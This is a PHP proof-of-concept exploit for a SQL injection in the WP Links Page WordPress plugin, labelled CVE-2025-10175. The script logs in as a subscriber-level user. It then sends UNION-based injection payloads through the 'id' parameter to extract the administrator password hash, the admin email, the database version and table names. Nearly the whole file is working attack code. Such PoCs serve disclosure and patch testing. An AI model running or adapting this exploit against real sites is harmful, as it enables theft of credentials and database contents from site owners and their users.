<?php
/**
* CVE-2025-10175 - WP Links Page Plugin SQL Injection PoC
* Vulnerability: SQL Injection via 'id' parameter
* Affected: WP Links Page <= 4.9.6
* Required: Subscriber-level WordPress account
*/
// Configuration
$target_url = 'https://target-wordpress-site.com';
$cookie_file = '/tmp/wp_cookies.txt';
$attacker_id = 'attacker_user';
$attacker_pass = 'AttackerPass123!';
// Step 1: Login as Subscriber-level user and save cookies
$login_url = $target_url . '/wp-login.php';
$post_fields = http_build_query([
'log' => $attacker_id,
'pwd' => $attacker_pass,
'wp-submit' => 'Log In',
'redirect_to'=> $target_url . '/wp-admin/',
'testcookie' => '1'
]);
$ch = curl_init($login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$login_response = curl_exec($ch);
curl_close($ch);
echo "[*] Logged in as Subscriber user\n";
// Step 2: Craft SQL injection payload targeting 'id' parameter
// The vulnerable endpoint processes the 'id' parameter without proper escaping
$payload = "1 UNION SELECT user_pass FROM wp_users WHERE ID=1-- -";
$encoded_payload = urlencode($payload);
// Step 3: Send the malicious request to extract admin password hash
$vuln_url = $target_url . '/wp-admin/admin.php?page=wp-links-page&id=' . $encoded_payload;
$ch = curl_init($vuln_url);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "[*] HTTP Status: $http_code\n";
echo "[*] Response:\n$response\n";
// Step 4: Extract database information using UNION-based injection
// Example payloads for different data extraction:
$payloads = [
"Extract admin hash" => "1 UNION SELECT user_pass FROM wp_users WHERE ID=1-- -",
"Extract admin email" => "1 UNION SELECT user_email FROM wp_users WHERE ID=1-- -",
"Extract DB version" => "1 UNION SELECT version()-- -",
"Extract table names" => "1 UNION SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()-- -"
];
foreach ($payloads as $desc => $sql) {
$url = $target_url . '/wp-admin/admin.php?page=wp-links-page&id=' . urlencode($sql);
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$result = curl_exec($ch);
curl_close($ch);
echo "[*] $desc: " . strip_tags($result) . "\n";
}
?>